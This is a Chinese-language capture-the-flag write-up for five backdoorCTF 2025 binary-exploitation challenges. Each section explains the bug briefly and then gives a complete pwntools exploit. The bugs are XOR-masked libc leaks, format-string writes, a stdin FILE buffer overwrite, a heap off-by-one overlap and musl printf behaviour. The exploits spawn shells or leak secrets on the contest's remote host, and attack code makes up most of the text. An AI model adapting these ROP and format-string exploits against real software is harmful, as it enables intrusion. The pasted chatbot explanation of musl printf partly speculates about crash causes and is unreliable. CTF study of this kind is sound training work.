backdoorCTF 2025 PWN Writeup

Devil’s Convergence

很简单的一道题,将输入的8个字节跟libc地址异或,然后输出,所以我们可以得到libc地址

还存在栈溢出漏洞,直接写ROP拿shell即可

exp

#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "chal_chainsawman" + "_patched"
libcname = "/home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "remote.infoseciitr.in"
port = 8005
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
set debug-file-directory /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''

def sa(a,b):
    sh.sendafter(a, b)

def sla(a, b):
    sh.sendlineafter(a, b)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)

def cyclic_xor(data: bytes, key: bytes) -> bytes:
    """
    对一个字节串(data)与一个 8 字节的密钥(key)进行循环异或(XOR)操作。

    Args:
        data: 需要进行异或操作的输入字节串。
        key: 8 字节的密钥。

    Returns:
        异或操作后的结果字节串。

    Raises:
        ValueError: 如果密钥长度不是 8 字节,则抛出异常。
    """
    # 检查密钥长度是否为 8 字节
    if len(key) != 8:
        raise ValueError("密钥 (key) 必须是 8 字节长。")

    # 用于存储结果的字节列表
    result_list = []
    
    # 获取数据和密钥的长度
    data_len = len(data)
    key_len = len(key)  # key_len 此时应为 8

    # 遍历数据中的每个字节
    for i in range(data_len):
        # 确定当前字节 i 对应的密钥字节的索引 j
        # j = i % key_len 会让 j 在 0 到 7 之间循环
        j = i % key_len
        
        # 对数据字节和密钥字节进行 XOR 运算
        # data[i] 和 key[j] 都是整数(0-255)表示的字节值
        xor_byte = data[i] ^ key[j]
        
        # 将 XOR 结果添加到结果列表中
        result_list.append(xor_byte)

    # 将整数列表转换回字节串并返回
    return bytes(result_list)

sh = start()
# 自定义 dest 内容
sa("Submit to her control: ", b'\x00' * 4)
sh.recvuntil(b"essence: ")
low4 = sh.recv(4)
sa("to War: ", b'\x00' * 4)
sh.recvuntil(b"essence: ")
high4 = sh.recv(4)
system_addr = u64(low4 + high4)
log.success("system: " + hex(system_addr))
libc_base = system_addr - libc.sym['system']
rdi_ret = 0x000000000010f78b + libc_base
binsh_addr = libc_base + next(libc.search("/bin/sh"))
payload = b'A' * 80 + b'B' * 8 + p64(rdi_ret + 1) + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr)
sa("contract: ", cyclic_xor(payload, p64(system_addr)))

sh.interactive()

Gamble

存在可多次触发的格式化字符串漏洞,printf里只能写6个字节,但是可以通过前面的10个字节放地址,printf里放%9$hhn来往任意地址写入b'\x00。因为可以多次触发,所以也可以泄露出libc地址,栈地址,程序基地址等。

image-20251208164111639

既然有任意地址写b'\x00'那么就可以想到,写stdin_IO_buf_base的最低字节,由此实现任意地址写。

值得注意的是,利用这种办法任意地址写时,最好把第二次覆盖stdinptrend写“宽”一点,比如payload = b'a' * 0x18 + p64(targetaddr - 0x8) + p64(targetaddr + 0x20) + p64(0) * 4,否则会在写入已经想要的东西后,还没ret,但是再次触发写入覆盖

程序还有一个win函数,会输出flag,在栈上把返回地址写为win函数地址即可。

image-20251208164621023

感觉这题这种解法不是预期解,等一下官方的WriteUp

exp

#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux', arch='amd64')
# context.terminal = ['tmux', 'new-window', '-n', 'debug']
filename = "chal"
libcname = "/home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "remote.infoseciitr.in"
port = 8004
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
set debug-file-directory /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''
def sa(a, b):
    sh.sendafter(a, b)

def sla(a, b):
    sh.sendlineafter(a, b)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)

# ============================= 漏洞利用函数 =============================

def vuln1_integer_overflow_login(user_id, username, target_balance):
    """
    漏洞 #1: 整数溢出 - 在 login 函数中控制余额

    原理:
        - login 函数计算: balance += 8 * user_input
        - 通过精心选择 user_input,可以让余额变成任意值
        - 甚至可以设置为负数或特定地址

    利用:
        - 设置余额为任意值(包括地址,用于后续任意写零)
        - 输入负数可以减少余额
        - 输入超大值可能导致溢出

    Args:
        user_id: 用户 ID (0-9)
        username: 用户名
        target_balance: 目标余额(将会乘以8后加到余额上)

    返回:
        实际设置的余额 = target_balance * 8
    """
    log.info(f"[VULN #1] Integer Overflow: Setting user {user_id} balance to {hex(target_balance * 8)}")

    # 选择菜单选项 [1] Login
    sla(b"> ", b"1")

    # 输入用户 ID
    sla(b"Enter your user ID (0-9): ", str(user_id).encode())

    # 首次登录,输入用户名
    sla(b"Please enter your name: ", username)

    # 输入金额(将会乘以 8)
    # 注意:如果 target_balance 是负数或很大,会触发整数溢出
    sla(b"Enter amount of coins you want: ", str(target_balance).encode())

    actual_balance = target_balance * 8
    log.success(f"User {user_id} balance set to: {hex(actual_balance) if actual_balance >= 0 else actual_balance}")

    return actual_balance


def vuln2_format_string_leak(user_id, fmt_payload):
    """
    漏洞 #2: 格式化字符串 - 在 bet 函数中泄露栈/libc/PIE地址

    原理:
        - bet 函数允许输入 16 字节,但 buffer 只有 10 字节
        - 字节 10-15 会溢出覆盖 format 变量
        - 随后 printf(format) 将用户控制的格式字符串执行

    利用:
        - 泄露栈地址: %p 或 %<offset>$p
        - 泄露 libc: %<offset>$s (需要知道栈上有 libc 指针)
        - 任意地址读: 构造特殊 payload

    Args:
        user_id: 用户 ID (0-9)
        offset: 格式化字符串偏移 (用于 %<offset>$p)

    返回:
        泄露的地址 (8 字节)
    """

    # 选择菜单选项 [2] Place Bet
    sla(b"> ", b"2")

    # 输入用户 ID
    sla(b"Plese enter id to place bet: ", str(user_id).encode())

    # 发送 payload(注意:不要发送换行符,用 send 而不是 sendline)
    #sh.interactive()
    sh.sendlineafter(b"Enter your bet amount (Please specify Currency): ", fmt_payload)

    # 接收格式化字符串输出
    leaked = sh.recvline().strip()

    log.info(f"Format string output: {leaked}")

    # 解析地址
    if leaked.startswith(b"0x"):
        leaked_addr = int(leaked[:14], 16)
        return leaked_addr
    else:
        log.warning(f"Failed to parse leaked address: {leaked}")
        return None

sh = start()

log.info("\n" + "="*60)
log.info("DEMO 2: Format String Vulnerability - Leak Addresses")
log.info("="*60)


vuln1_integer_overflow_login(1, b"pwner", 1000)
vuln1_integer_overflow_login(2, b"pwner", 1000)
vuln1_integer_overflow_login(4, b"pwner", 1000)
vuln1_integer_overflow_login(5, b"pwner", 1000)


leaked = vuln2_format_string_leak(2, b'A' * 10 + b'%33$p')
libc_base = leaked - 0x2a1ca
_IO_2_1_stdin_ = libc_base + 0x2038e0
leaked = vuln2_format_string_leak(4, b'A' * 10 + b'%28$p')
print(leaked)
targetaddr = leaked - 0x18
leaked = vuln2_format_string_leak(1, b'A' * 10 + b'%29$p')
pie = leaked - 0x1ec7
leaked = vuln2_format_string_leak(5, b'A' * 2 + p64(_IO_2_1_stdin_ + 0x38) + b'%9$hhn')
sla("> ", str(1))
sla("ID (0-9): ", str(9))
payload = b'a' * 0x18 + p64(targetaddr - 0x8) + p64(targetaddr + 0x20) + p64(0) * 4
sla("name: ", payload)
sla("> ", str(1))
sla("ID (0-9): ", str(8))
win_addr = p64(targetaddr + 0x100) + p64(pie + 0x16F1)
print(targetaddr)
sla("name: ", win_addr)
sla("want: ", str(10))
sh.interactive()

Aladdin ka Chirag

格式化字符串漏洞

image-20251208165058954

虽然printf里看似参数只能塞大小为8的buf,但是注意到sbuf的高地址处,并且buf读入后没有补\x00,所以其实printf的参数可以塞大小为16的buf

image-20251208165254422

仔细看11行的read,会发现还有一个栈溢出,溢出0xa字节,可以把rbp覆盖,再覆盖返回地址的一部分,可以选择覆盖最低字节到

image-20251208165349352

这样可以无限触发格式化字符串漏洞,并且有16字节的空间,可以实现任意写。

将栈上的libc_start_main_ret写一串ROPshell即可。

Q:栈溢出为什么要写返回地址到call cave而不是main或者cave的起始地址?

A:因为修改到maincave,堆栈就不平衡了,之后不会返回到libc_start_main_ret,当然应该还有其他解法,不一定要ROP,只是我更喜欢这种

exp

#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "chall" + "_patched"
libcname = "/home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "remote.infoseciitr.in"
port = 8007
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
    #b *$rebase(0x13AA)
gs = '''
b *$rebase(0x138B)
set debug-file-directory /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''

def sa(a,b):
    sh.sendafter(a, b)

def sla(a, b):
    sh.sendlineafter(a, b)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)

def format_write(addr, byte):
    payload = b'%8$hhnAA' + p64(addr) + b'\xcd'
    sa("Enter your name >> ", payload)
    format_payload = bytes(b'A' * (6 - len(str(abs(byte)))) + bytes(f'%{byte - (6 - len(str(abs(byte))))}c', encoding='ASCII'))
    sa("Enter your wish >> ", format_payload)

def format_write_addr(target_addr, write_addr):
    for i in range(6):
        format_write(target_addr + i, (write_addr >> (8 * i)) & 0xff)

sh = start()

# Your exploit here
payload = b'A' * 16 + b'\xcd'
sa("Enter your name >> ", payload)
format_payload = b'%9$p' # 10 #11
sa("Enter your wish >> ", format_payload)
pie = int(sh.recv(14), base = 16) - 0x13cd
log.success("pie:" + hex(pie))


payload = b'A' * 16 + b'\xcd'
sa("Enter your name >> ", payload)
format_payload = b'%11$p' # 10 #11
sa("Enter your wish >> ", format_payload)
libc_base = int(sh.recv(14), base = 16)-0x2a1ca
log.success("stack:" + hex(libc_base))

payload = b'A' * 16 + b'\xcd'
sa("Enter your name >> ", payload)
format_payload = b'%10$p' # 10 #11
sa("Enter your wish >> ", format_payload)
stack = int(sh.recv(14), base = 16)
log.success("stack:" + hex(stack))

libc_start_main_ret_stack = stack - 0x98

rdi_ret = 0x000000000010f78b + libc_base
format_write_addr(libc_start_main_ret_stack, rdi_ret)
format_write_addr(libc_start_main_ret_stack + 0x8, libc_base + next(libc.search("/bin/sh")))
format_write_addr(libc_start_main_ret_stack + 0x10, rdi_ret + 1)
format_write_addr(libc_start_main_ret_stack + 0x18, libc_base + libc.sym['system'])
sla("Enter your name >> ", str(123))
sla("Enter your wish >> ", str(123))
sh.interactive()

Santa’s Workshop

堆题,libc2.35

image-20251208170008837

第9行,会泄露heapbase感觉没必要给,可以通过large_bin泄露

不截图每个函数了,大致说一下有哪些功能和漏洞

非常完备,有mallocfreeshoweditedit存在溢出一个\x00的漏洞

再关注一下case 5case 6

image-20251208170303294

image-20251208170313350

简单来说就是,load_secret会分配一个堆块,往里面写上随机的secret,然后可以调用master_key,检查你的输入,与secret对比,相同就给你flag

所以这道题要做的就是利用溢出一个\x00的漏洞去泄露一个堆块的内容

第一反应是经典的off-by-one

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/off-by-one/

但是libc2.29加入了保护

      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");

所以这种办法行不通

想一想这种经典办法为什么会被这个保护拦截,因为他是控制presize,使得prev_chunk是一个真实的被free了的chunk(里面还隔几个chunk,从而造成重叠),为什么要这样做呢?

因为在unlink的时候会检查

    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
        malloc_printerr ("corrupted double-linked list");

如果不是一个真实的chunk,这个检查很难通过,但是我们现在有了已经泄露的heapbase,可以伪造fdbk均为fake_chunk的地址,这样就没必要使得prev_chunk是一个真实的被free了的chunk

所以直接一条龙服务,在一个chunk里面放假的chunk headerfdbk即可,然后利用off-by-one,但是prev chunk是我们的假chunk即可。这样就可以造成堆重叠,从而泄露secret

exp

#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "chall" + "_patched"
libcname = "/home/wgg/.config/cpwn/pkgs/2.35-0ubuntu3.11/amd64/libc6_2.35-0ubuntu3.11_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "remote.infoseciitr.in"
port = 8000
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/wgg/.config/cpwn/pkgs/2.35-0ubuntu3.11/amd64/libc6-dbg_2.35-0ubuntu3.11_amd64/usr/lib/debug
set directories /home/wgg/.config/cpwn/pkgs/2.35-0ubuntu3.11/amd64/glibc-source_2.35-0ubuntu3.11_all/usr/src/glibc/glibc-2.35
'''

def sa(a,b):
    sh.sendafter(a, b)

def sla(a, b):
    sh.sendlineafter(a, b)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)
# ========== 程序交互函数 ==========

def prepare_gift(slot, size):
    """
    功能1: 分配堆块
    参数:
        slot: 礼物槽位 (0-15)
        size: 堆块大小 (0x50 < size <= 0x1000)
    """
    sla(b"> ", b"1")
    sla(b"Gift Slot: ", str(slot).encode())
    sla(b"Gift Size: ", str(size).encode())

def rewrite_card(slot, data):
    """
    功能2: 写入数据到堆块
    参数:
        slot: 礼物槽位 (0-15)
        data: 要写入的数据 (bytes)
    注意: 存在Off-by-One漏洞!如果len(data) == size,会溢出1字节
    """
    sla(b"> ", b"2")
    sla(b"Gift Slot: ", str(slot).encode())
    sa(b"Card Message: ", data)

def check_gift(slot):
    """
    功能3: 读取堆块内容
    参数:
        slot: 礼物槽位 (0-15)
    返回: 堆块内容 (bytes)
    """
    sla(b"> ", b"3")
    sla(b"Gift Slot: ", str(slot).encode())
    sh.recvuntil(b"Gift Contents: ")
    return sh.recvline()

def deliver_gift(slot):
    """
    功能4: 释放堆块
    参数:
        slot: 礼物槽位 (0-15)
    """
    sla(b"> ", b"4")
    sla(b"Gift Slot: ", str(slot).encode())

def master_key(secret):
    """
    功能5: 验证密钥并获取flag
    参数:
        secret: 16字节密钥 (bytes)
    """
    sla(b"> ", b"5")
    sa(b"Enter Santa's Secret Code: ", secret)

def load_secret():
    """
    功能6: 从/dev/urandom加载16字节随机密钥
    注意: 会在堆上分配0x20字节chunk存储密钥但不释放!
    """
    sla(b"> ", b"6")

def close_workshop():
    """
    功能7: 退出程序
    """
    sla(b"> ", b"7")

# ========== 辅助函数 ==========

def leak_heap():
    """
    程序启动时会自动泄露一个堆地址
    返回: 堆地址
    """
    sh.recvuntil(b"Ho...Ho...Ho..")
    heap_leak = int(sh.recv(14), 16)
    log.success(f"Heap leak: {hex(heap_leak)}")
    return heap_leak


sh = start()

# 1. 接收banner和泄露的堆地址
heap_leak = leak_heap()
heap_base = heap_leak - 0x2a0  # 需要根据实际调试调整偏移
log.success(f"Heap base: {hex(heap_base)}")

prepare_gift(0, 0x588)
load_secret()
prepare_gift(1, 0x58)
prepare_gift(2, 0x4f8)
rewrite_card(0, b'A' * 0xc0 + p64(0x0) + p64(0x551) + p64(heap_base + 0x380) * 2)

rewrite_card(1, b'A' * 0x50 + p64(0x550))
prepare_gift(3, 0x500)
prepare_gift(6, 0x68)
prepare_gift(4, 0x500)
prepare_gift(5, 0x68)
deliver_gift(3)
deliver_gift(4)
deliver_gift(2)
prepare_gift(9, 0xf00)
gift = check_gift(9)
key = gift[0x4c0:0x4d0]
print(len(key))
master_key(key)

sh.interactive()

Lolimancer

本题的特殊之处在于libc是musl,而不是glibc

muslprintf函数有点不同,下面给gemini的回答

TL;DR:muslprintf中,在使用第n个参数时,必须使用前n-1个参数,换句话说如果想要''%6$p',只能'%p' * 6或者'%1$p%2%p%3$p%4$p%5$p%6$p'

1. 核心矛盾:va_list 的单向性

要理解这个漏洞的区别,必须先理解 C 语言可变参数(va_list)的工作原理:

  • 栈是线性的: 参数在栈上(或寄存器中)是一个接一个紧挨着排放的。
  • 读取是单向的: 想要读取第 6 个参数,必须先知道第 1、2、3、4、5 个参数的大小(是 int 4字节?还是 double 8字节?),然后逐个跳过它们。你不能直接“瞬移”到第 6 个位置。

2. Glibc 的做法:宽容与猜测

glibcvfprintf 非常复杂(代码量巨大),它采用了一种**“两遍扫描 + 内部缓冲”**的策略,并且带有很强的容错性。

  • 机制:glibc 看到 %6$p 时,它意识到使用了位置参数。
  • 填补空缺: 它会扫描整个格式化字符串。如果发现缺少第 1-5 个参数的定义,glibc 为了能让你拿到第 6 个,它在内部处理时通常会默认假设缺失的参数是 int(或字长宽度)。
  • 结果: 它通过假设跳过了前 5 个位置,成功读取了第 6 个位置的数据并打印。
  • 代价: 代码极其臃肿,且这种“猜测”在某些架构下可能不安全。

3. Musl 的做法:严格与极简

musl 的设计哲学是代码极简且严格遵循 POSIX 标准。它的 vfprintf.c 逻辑非常直白,正是这种直白导致了你看到的结果。

源码逻辑复盘(基于 musl src/stdio/vfprintf.c

Musl 处理位置参数的伪代码逻辑如下:

C

// musl vfprintf.c 的简化逻辑
int vfprintf(..., const char *fmt, va_list ap) {
    // 1. 扫描格式化字符串,构建类型表
    // nl_type[i] 存储第 i 个参数的类型
    for (...) {
        if (sees "%6$p") nl_type[6] = POINTER;
    }

    // 2. 这里的 nl_type[1] 到 nl_type[5] 都是 0 (UNKNOWN)!
    
    // 3. 尝试读取参数存入本地缓存 nl_arg
    for (i = 1; i <= max_arg; i++) {
        switch (nl_type[i]) {
            case INT:     nl_arg[i].i = va_arg(ap, int); break;
            case POINTER: nl_arg[i].p = va_arg(ap, void*); break;
            // ... 其他类型 ...
            case 0: 
                // !!! 致命问题 !!!
                // 标准说:如果用到了第N个参数,前N-1个必须有定义。
                // Musl 此时不知道第 i 个参数多大,无法移动 ap 指针。
                // 此时 musl 判定为非法格式,直接停止处理或报错返回。
                return -1; 
        }
    }
}

为什么是“未定义行为”或崩溃?

  1. 什么都不打印(返回 -1):musl 发现第 1-5 个参数类型未知时,它无法执行 va_arg(ap, ???) 来跳到第 6 个参数。它物理上无法计算出第 6 个参数的内存地址。因此,它通常会检测到这个“空洞(Hole)”,停止解析,并返回错误代码(通常是 -1)。如果你的程序没有检查 printf 的返回值,看起来就是“什么都没发生”。
  2. 崩溃(Crash): 在某些特定版本或编译优化的 musl 中,如果在某些极端的漏洞利用场景下(或者如果你混用了 %%n$),内部的状态机可能会因为索引越界或读取了未初始化的 nl_arg 数组而崩溃。特别是如果它试图读取一个未被正确 pop 出来的指针并解引用它,程序就会立即 Segfault。

4. 为什么 POSIX 标准站在 Musl 这一边?

POSIX 标准关于 printf 有明确规定:

“When numbered argument specifications are used, specifying the Nth argument requires that all the leading arguments, from the first to the (N-1)th, are specified in the format string.”

(当使用编号参数说明符时,指定第 N 个参数要求从第 1 到第 N-1 个参数都必须在格式字符串中指定。)

  • 你的输入: %6$p
  • 违规点: 缺少 1, 2, 3, 4, 5 的定义。
  • 结论: 这是一个非法的格式字符串。musl 拒绝服务是符合标准的;glibc 帮你打印出来是它自己的“私自扩展(GNU Extension)”行为。

5. 对漏洞利用(Exploit)的影响

这对 CTF 或实战漏洞挖掘有巨大影响:

  • 在 Glibc 上: 你可以随意泄露栈深处的内存,例如 %100$p,即使你不知道前 99 个参数是什么。这使得泄露 canary 或 libc基址非常容易。
  • 在 Musl 上: 格式化字符串漏洞利用难度剧增。
    • 不能跳过参数。如果你想泄露第 6 个参数,你必须构造一个格式化字符串,显式地消耗掉前 5 个参数,例如: %1$p%2$p%3$p%4$p%5$p%6$p
    • 如果 payload 长度受限(例如缓冲区很小),你就无法构造出足够长的填充来触达深层的栈数据。

1. 核心罪魁祸首:nl_arg 数组

muslsrc/stdio/vfprintf.c (或其调用的 printf_core) 中,为了处理 %n$ 这种参数,它必须把参数从 va_list 拷贝到一个本地数组里方便随机访问。

关键代码定义大致如下:

C

// 简化后的 musl 内部变量定义
union arg {
    uintmax_t i;
    double f;
    void *p;  // %n 对应的指针存在这里
};

// !!! 重点在这里 !!!
// 这个数组是在栈上分配的局部变量,且没有被初始化为0!
union arg nl_arg[NL_ARGMAX+1]; 
uint32_t nl_type[NL_ARGMAX+1] = {0}; // 类型表倒是初始化了

2. 崩溃流程复盘

当你输入 %4$n 且没有定义 1, 2, 3 时,发生了以下连锁反应:

第一步:类型扫描(Pass 1)

扫描器发现 %4$n,于是标记:

  • nl_type[4] = POINTER;
  • nl_type[1], nl_type[2], nl_type[3] 依然是初始值 0 (也就是 NONE)。

第二步:参数获取(Pass 2)—— 漏洞发生地

理论上,musl 应该在发现 nl_type[1] 为 0 时直接 return -1 报错。

但是,在某些特定的编译优化(Optimization)、特定版本或者如果程序逻辑因为其他未定义行为(Undefined Behavior)而“意外”地绕过了检查(或者仅仅是因为你的调试环境与标准源码有细微出入),程序进入了后续的执行流。

更关键的是 nl_arg 的状态:

  • 因为 nl_arg 是局部变量且未初始化,它的内存里装的是“上一层函数”栈帧遗留下来的垃圾数据
  • musl 并没有执行 va_arg 来填充 nl_arg[4](因为之前的参数缺失,无法计算偏移)。
  • 所以,nl_arg[4].p 的值,就是此刻栈上那个位置原本存在的任何数值

第三步:执行写入

printf 执行到 %4$n 时,它执行类似这样的操作:

C

// 伪代码
int *ptr = nl_arg[4].p; // 取出指针
*ptr = count;           // 尝试写入字符计数

3. 为什么是 0x380x1000

这就是最有趣的地方。因为 nl_arg[4] 是未初始化的栈内存,它直接继承了栈上的“脏数据”。

  • 0x38 (十进制 56):

    这很可能是栈上残留的一个小整数。比如上一个被调用的函数中有一个循环计数器 i 增加到了 56,或者是一个结构体的偏移量,或者是某个标志位。当 vfprintf 分配栈帧时,nl_arg[4] 刚好落在了这个位置。

    • 程序试图向内存地址 0x0000000000000038 写入数据。这是内核保留区,不可写 -> Segmentation Fault
  • 0x1000:

    这通常是页对齐的大小。可能是上一个函数的某个缓冲区大小参数,或者是某个被 free 掉的堆块的头部残留数据。

4. Glibc vs Musl:行为对比图解

我为你生成了一张内存行为对比图,以便更直观地理解这种差异。

google:search{queries:[musl vfprintf nl_arg uninitialized stack usage,musl printf %n crash mechanism]}

对比总结:

行为GlibcMusl
缺失参数处理猜测并填充。它假设缺失的参数是默认宽度,强制计算出 %4$ 的偏移量。拒绝或未定义。标准逻辑是报错,但若触发未定义行为,则使用栈残留数据
指针来源实际的栈/寄存器数据(即使是错位的数据,也是真实存在的地址)。本地局部变量数组 nl_arg
崩溃原因通常不容易崩,除非算出的地址不可访问。极易崩。因为使用的是未初始化的“脏栈数据”,这些数据(如 0x38)作为指针通常是非法的。

所以这道题的格式化字符串漏洞

image-20251208172254986

只能通过一连串的%p来进行泄露

可以看到还有一个栈溢出

image-20251208172327598

泄露之后ROP即可

exp

#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "chall" + "_patched"
libcname = "./libc.so"
host = "remote.infoseciitr.in"
port = 8003
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
'''

def sa(a,b):
    sh.sendafter(a, b)

def sla(a, b):
    sh.sendlineafter(a, b)

def start():
    env_vars = {"LD_LIBRARY_PATH": "."}
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs, env=env_vars)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path, env=env_vars)

sh = start()

# Your exploit here
payload1 = b'%p%p'
sh.send(payload1)
stack = int(sh.recv(14), base=16)
libc_base = int(sh.recv(14), base=16)-0xb5b44 + 0x3fa0
log.success("stack: " + hex(stack))
log.success("libc_base: " + hex(libc_base))
payload2 = b'%p' * 0x14
sa("One more time and you will be strong!!\n", payload2)
sh.recvuntil("0x7025702570257025000000x1")
canary = int(sh.recv(18), base=16)
log.success("canary: " + hex(canary))
system = libc_base + libc.sym['system']
rdi_ret = libc_base + 0x00000000000142a5
binsh = libc_base + next(libc.search("/bin/sh"))
payload = flat([
    b'A' * 24,
    p64(canary),
    p64(stack + 0xd8),
    p64(rdi_ret),
    p64(binsh),
    p64(rdi_ret + 1),
    p64(system),
])
#print(hex(rdi_ret))
sla("I think you do not need warmup!!", payload)
sh.interactive()